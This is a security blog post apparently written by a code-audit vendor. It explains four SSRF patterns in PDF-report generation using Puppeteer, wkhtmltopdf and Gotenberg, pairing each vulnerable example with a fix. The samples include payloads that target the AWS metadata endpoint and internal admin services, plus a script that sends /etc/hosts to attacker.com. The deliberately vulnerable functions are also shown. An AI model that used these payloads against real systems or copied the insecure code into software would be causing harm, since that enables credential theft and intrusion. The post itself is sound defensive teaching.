← Blog

Claude MCP skill SSRF via PDF generation service fetching user-supplied URLs in audit reports — SA-SKL-SSRF17

MCP skill audit platforms generate PDF reports of scan findings — a convenient artifact for developers and their security teams. The PDF generation pipeline typically involves a headless browser (Puppeteer or wkhtmltopdf) or a REST-based PDF service (Gotenberg, Chromium-as-a-service). These tools work by rendering HTML and fetching all referenced resources — including external images, stylesheets, and iframes. When any URL in the rendered HTML is derived from user input (the skill's audit parameters, its README, or its manifest), the PDF generator becomes an SSRF proxy: the user controls what internal server the headless browser fetches on their behalf. SA-SKL-SSRF17 covers four patterns specific to audit report PDF generation in MCP skill platforms.

By SkillAudit  |  11 Nov 2026
SA-SKL-SSRF17 findings at a glance
CRITICALSSRF17-001 — page.goto(auditReportUrl) in Puppeteer where auditReportUrl includes the skill's audit target URL — attacker sets target to http://169.254.169.254/latest/meta-data/; Puppeteer fetches the AWS metadata endpoint server-side; IAM credentials and instance metadata rendered into the PDF
CRITICALSSRF17-002 — wkhtmltopdf command receives user-supplied HTML file containing <iframe src="http://internal-db-admin:8080"> — wkhtmltopdf fetches the iframe source server-side; attacker reads internal admin UIs, Kibana, Metabase, or other unauthenticated internal services
HIGHSSRF17-003 — PDF generation renders skill README with external images via <img src="http://10.0.0.1/admin/users.json"> in attacker README — headless browser fetches the internal JSON endpoint and embeds the response as a broken image; response body accessible via page content after render
HIGHSSRF17-004 — Gotenberg REST API receives user-supplied HTML with fetch() calls in inline <script> — Gotenberg's default Chromium instance executes JavaScript during rendering; attacker uses fetch() to reach internal services, exfiltrates response via URL parameters in a resource request that is interceptable from logs

SSRF17-001 — Puppeteer page.goto() with audit target URL

Some MCP skill audit platforms generate their PDF report by navigating Puppeteer to the live audit result page URL — essentially screenshotting the audit dashboard. If that URL contains the skill's submitted audit target URL as a query parameter (e.g., /reports/generate?targetUrl=https://skill-host.example.com), and the PDF generation service calls page.goto() with the full URL including the query parameter, the headless browser will process whatever page is at the target URL. An attacker who controls the audit target URL sets it to an internal service address.

// VULNERABLE — SSRF17-001
// Puppeteer goto() navigates to a URL that includes user-supplied audit target.
// Attacker submits audit with targetUrl: "http://169.254.169.254/latest/meta-data/"

async function generateAuditPdfFromUrl(auditId, targetUrl) {
  const reportUrl = `https://app.skillaudit.dev/reports/${auditId}?target=${encodeURIComponent(targetUrl)}`;

  const browser = await puppeteer.launch({ args: ['--no-sandbox'] });
  const page = await browser.newPage();

  // VULNERABLE: page.goto() fetches the report URL; the report page itself
  // then fetches targetUrl to display scan results — but if targetUrl is
  // http://169.254.169.254/, Puppeteer fetches it server-side
  await page.goto(reportUrl, { waitUntil: 'networkidle0' });

  const pdf = await page.pdf({ format: 'A4' });
  await browser.close();
  return pdf;
}
// FIXED — SSRF17-001
// Validate targetUrl before it reaches any network operation.
// Use request interception to block RFC1918, loopback, and link-local addresses.

import { isPrivateAddress } from 'private-ip';  // or ipaddr.js

async function generateAuditPdfFromUrl(auditId, targetUrl) {
  // FIX 1: validate targetUrl — must be HTTPS and not a private address
  const parsed = new URL(targetUrl);  // throws if malformed
  if (parsed.protocol !== 'https:') {
    throw new Error('Audit target must use HTTPS');
  }

  const { address } = await dns.promises.lookup(parsed.hostname);
  if (isPrivateAddress(address)) {
    throw new Error('Audit target resolves to private address');
  }

  const browser = await puppeteer.launch({ args: ['--no-sandbox'] });
  const page = await browser.newPage();

  // FIX 2: request interception — block any request to RFC1918/link-local/loopback
  await page.setRequestInterception(true);
  page.on('request', async (req) => {
    try {
      const url = new URL(req.url());
      const { address: addr } = await dns.promises.lookup(url.hostname).catch(() => ({ address: '0.0.0.0' }));
      if (isPrivateAddress(addr)) {
        return req.abort('blockedbyclient');
      }
    } catch {
      return req.abort('blockedbyclient');
    }
    req.continue();
  });

  const reportUrl = `https://app.skillaudit.dev/reports/${auditId}`;
  await page.goto(reportUrl, { waitUntil: 'networkidle0', timeout: 30_000 });
  const pdf = await page.pdf({ format: 'A4' });
  await browser.close();
  return pdf;
}

SSRF17-002 — wkhtmltopdf iframe src server-side fetch

wkhtmltopdf renders HTML to PDF using Qt WebKit. By default it fetches all resources referenced in the HTML — including <iframe src="..."> attributes, external stylesheets, and images. When user-supplied HTML (from a skill's audit report template or README) is passed to wkhtmltopdf without sanitization, an attacker inserts an <iframe src="http://internal-redis:6379"> or similar. wkhtmltopdf attempts to load the iframe source; even if the response is binary or an error, the connection is established, confirming the service exists and potentially leaking data visible in the rendered PDF.

// VULNERABLE — SSRF17-002
// wkhtmltopdf receives HTML with attacker-controlled iframe src.
// Attacker HTML: <iframe src="http://10.0.0.100:9200/_cat/indices"></iframe>
// wkhtmltopdf fetches the Elasticsearch endpoint server-side; response in PDF.

import { exec } from 'child_process';

async function generatePdfWithWkhtmltopdf(htmlContent) {
  const tmpInput = `/tmp/report-${Date.now()}.html`;
  const tmpOutput = `/tmp/report-${Date.now()}.pdf`;

  await fs.writeFile(tmpInput, htmlContent);

  // VULNERABLE: no flags to disable external resource loading
  // iframe src, img src, link href are all fetched server-side
  await execPromise(`wkhtmltopdf ${tmpInput} ${tmpOutput}`);

  return fs.readFile(tmpOutput);
}
// FIXED — SSRF17-002
// Use wkhtmltopdf flags to disable JavaScript, local file access, and external resource loading.
// Sanitize HTML input before writing to disk.

import DOMPurify from 'isomorphic-dompurify';

async function generatePdfWithWkhtmltopdf(htmlContent) {
  // FIX 1: sanitize HTML before writing to disk — strip iframes, scripts, external resources
  const safeHtml = DOMPurify.sanitize(htmlContent, {
    FORBID_TAGS: ['script', 'iframe', 'object', 'embed'],
    FORBID_ATTR: ['onerror', 'onload', 'onclick'],
  });

  const tmpInput = `/tmp/report-${randomUUID()}.html`;
  const tmpOutput = `/tmp/report-${randomUUID()}.pdf`;

  await fs.writeFile(tmpInput, safeHtml);

  // FIX 2: wkhtmltopdf flags
  //   --disable-javascript  — no JS execution
  //   --disable-local-file-access  — no file:// URI access
  //   --no-background  — skip background images (reduces resource fetching)
  //   --load-error-handling ignore  — don't fail on network errors
  await execPromise([
    'wkhtmltopdf',
    '--disable-javascript',
    '--disable-local-file-access',
    '--no-background',
    '--load-error-handling', 'ignore',
    tmpInput,
    tmpOutput,
  ].join(' '));

  const pdf = await fs.readFile(tmpOutput);
  await Promise.all([fs.unlink(tmpInput), fs.unlink(tmpOutput)]);
  return pdf;
}

SSRF17-003 — PDF external image src from skill README

MCP skill README files often include diagrams and screenshots referenced as external images. When the PDF generator renders the README, it fetches all <img src="..."> attributes. An attacker who controls their skill's README inserts an image tag pointing to an internal service: <img src="http://10.0.0.1/admin/api-tokens">. The PDF generator fetches the URL; even if the response is JSON (not an image), the browser embeds whatever it received. The PDF may contain partial data from the response, or the attacker can observe the fetch via a server they control and confirm internal network topology.

// FIXED — SSRF17-003
// Block RFC1918 addresses at the Puppeteer request interception layer.
// Or pre-fetch and inline images from an allowlisted CDN set.

// Option A: Puppeteer request interception (see SSRF17-001 fix for full implementation)
// All requests matching private IP ranges are aborted before fetching.

// Option B: Pre-process README images — fetch from allowed CDNs, re-host, replace src
async function sanitizeReadmeImages(html) {
  const ALLOWED_HOSTS = new Set(['cdn.skillaudit.dev', 'github.com', 'raw.githubusercontent.com']);

  return html.replace(/<img\s+src="([^"]+)"/g, (match, src) => {
    try {
      const url = new URL(src);
      if (!ALLOWED_HOSTS.has(url.hostname)) {
        return '<img src="/assets/image-blocked.svg"';  // replace with placeholder
      }
      return match;  // allowed host — keep
    } catch {
      return '<img src="/assets/image-blocked.svg"';  // malformed URL — block
    }
  });
}

SSRF17-004 — Gotenberg REST API with JavaScript-enabled HTML

Gotenberg is a Docker-based REST API for PDF generation using Chromium. By default, Gotenberg enables JavaScript in the Chromium instance it uses for rendering. When user-supplied HTML containing fetch() calls is submitted to the Gotenberg API, the JavaScript executes during rendering and can reach internal services. The attacker encodes the response in a URL parameter of an allowed external request — a technique known as a data exfiltration side channel via the Gotenberg instance's outbound network.

// VULNERABLE — SSRF17-004
// Gotenberg receives HTML with inline fetch() — JavaScript executes during render.
// Attacker HTML: <script>fetch('/etc/hosts').then(r=>r.text()).then(d=>new Image().src='https://attacker.com/?d='+btoa(d))</script>

import FormData from 'form-data';
import fetch from 'node-fetch';

async function generatePdfWithGotenberg(htmlContent) {
  const form = new FormData();
  // VULNERABLE: JavaScript-enabled by default; user HTML executes fetch() during render
  form.append('files', Buffer.from(htmlContent), 'index.html');

  const response = await fetch('http://gotenberg:3000/forms/chromium/convert/html', {
    method: 'POST',
    body: form,
  });
  return response.buffer();
}
// FIXED — SSRF17-004
// Sanitize HTML before sending to Gotenberg (strip scripts).
// Use Gotenberg's --chromium-disable-javascript flag.
// Use network policy to restrict Gotenberg's outbound access.

async function generatePdfWithGotenberg(htmlContent) {
  // FIX 1: sanitize — strip all scripts before sending to Gotenberg
  const safeHtml = DOMPurify.sanitize(htmlContent, {
    FORBID_TAGS: ['script', 'iframe', 'object'],
  });

  const form = new FormData();
  form.append('files', Buffer.from(safeHtml), 'index.html');

  // FIX 2: Gotenberg URL with extra-http-headers to disable JS
  // Gotenberg 8.x: pass chromium flags via URL form parameters
  const url = new URL('http://gotenberg:3000/forms/chromium/convert/html');
  url.searchParams.set('waitDelay', '1s');

  // FIX 3: Use Gotenberg with --chromium-disable-javascript environment variable
  // Set in Docker Compose: CHROMIUM_DISABLE_JAVASCRIPT=true
  // No flag in the request is needed when configured at the service level

  const response = await fetch(url.toString(), {
    method: 'POST',
    body: form,
    headers: { ...form.getHeaders() },
    timeout: 30_000,
  });
  return response.buffer();
}

// docker-compose.yml fix:
// gotenberg:
//   image: gotenberg/gotenberg:8
//   environment:
//     - CHROMIUM_DISABLE_JAVASCRIPT=true  # FIX: disable JS in Gotenberg Chromium

Detection: SkillAudit scans for Puppeteer page.goto(), page.setContent(), and wkhtmltopdf / Gotenberg API calls where the HTML or URL argument traces back to user-controlled data from req.body, database fields (skill README, audit parameters), or skill manifest fields. It also flags Puppeteer instances launched without request interception for SSRF-blocking.

Related patterns

See also SA-SKL-XSS6 for the server-side XSS→SSRF bridge in Puppeteer PDF rendering, and SA-SKL-SSRF16 for SSRF via screenshot and OpenGraph preview fetching in MCP skill registry pages.

Scan your MCP skill audit platform for SA-SKL-SSRF17. SkillAudit's taint analysis engine tracks user-controlled input to Puppeteer, wkhtmltopdf, and Gotenberg call sites, flagging missing SSRF validation. Get started free.